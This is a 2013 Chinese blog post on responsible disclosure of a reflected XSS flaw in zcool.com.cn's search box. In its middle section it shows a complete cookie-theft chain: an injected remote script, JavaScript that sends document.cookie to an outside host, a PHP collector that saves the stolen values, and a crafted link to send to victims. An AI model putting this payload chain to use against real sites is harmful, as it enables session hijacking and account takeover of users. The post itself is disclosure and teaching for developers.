一个危险的XSS案例——轻松拿到登录用户的cookie

casperchen from IMWeb Team.
 
站酷是我很喜欢的设计类站点,上面有我大二美好的回忆,卖个广告,我的个人主页是:http://www.zcool.com.cn/u/346408
 
很好,其实上面不是重点。这段时间周围出现了好几单安全相关的问题,基本都是XSS漏洞导致的。于是内心一直惦记着,包括上个周末在逛站酷的时候,然后突发奇想:站酷上是否也存在XSS漏洞呢?
 
 
找到XSS漏洞
 
本着学习交流的目的,用颤巍巍的手指在站酷的作品搜索拦里输下了如下代码
<script>alert(1)</script>

 

然后按下了回车(http://www.zcool.com,chrome浏览器下访问) 

 
 
内心一阵失落,并没有预期中那样弹出个框来,叹了口气。但是,毕竟是个不轻言放弃的人,于是想了:chrome浏览器的安全机制是比较强大的,莫非是浏览器做了什么事情?
 
于是F12打开控制台,果然~~好吧,输给chrome了。
 
 
既然如此,其他浏览器呢?一向挺喜欢freifox浏览器的,前端工作人员嘛,于是firefox毫不犹豫成了第二个试验的对象。然后~~然后~~congratulations!!
 
好大一个弹窗!
 
 
进一步利用XSS漏洞
 
虽然内容有一些鸡冻,但仅仅找到一个XSS漏洞显然无法满足一个充满求知欲望的前端攻城狮,于是继续想:是不是可以利用它来做更多事情呢?
 
首先分析了下站酷的页面表现神马的,发现它是将用户输入脚本直接输出到页面,那就好办了,果断输入如下内容:
 
<script src="http://saintcoder.duapp.com/joke/joke.js"></script>
 
于是站酷华丽丽地就加载了一段joke.js(只是恶作剧性质的脚本),joke.js里面的代码也很简单,创建一个img标签,将它的src属性指向我预先写好的一个脚本joke.php,这里关键的一点是:将页面的cookie最为参数附加到url后面
var img = document.createElement('img');
img.width = 0;
img.height = 0;
img.src = 'http://saintcoder.duapp.com/joke/joke.php?joke='+encodeURIComponent(document.cookie);

然后呢,joke.php里也是相当简单,解析请求里面的joke参数(即用户的cookie),然后。。。然后偷偷保留起来别有他用~~
<?php
    @ini_set('display_errors',1);
    $str = $_GET['joke'];
    $filePath = "joke.php";

    if(is_writable($filePath)==false){
         echo "can't write";
    }else{
          $handler = fopen(filePath, "a");
          fwrite($handler, $str);
          fclose($handler);
    }
?>

很好,顿时觉得站酷很危险,只要我把下面这段链接发给其他站酷用户
 
http://www.zcool.com.cn/tosearch.do?page=0&world=%3Cscript%20src=%22http://saintcoder.duapp.com/joke/joke.js%22%3E%3C/script%3E

毫无压力所有cookie到手,如果当时用户登录中效果更佳 :)
 
 
漏洞提交
 
找到漏洞很鸡冻,但毕竟站酷是我挺喜欢的一个网站,也不希望它被人黑了。于是果断给站酷管理员,并收到回复。god bless 站酷~
 
 
结束语
截至目前,该XSS漏洞已被修复,所以就把这篇文章贴出来分享下,避免过早公布导致站酷被人攻击就不好了~~
 
网络很不安全,开发兄弟们要加强安全防范意识啊~~~
posted @ 2013-06-06 12:58  程序猿小卡  阅读(9129)  评论(20编辑  收藏  举报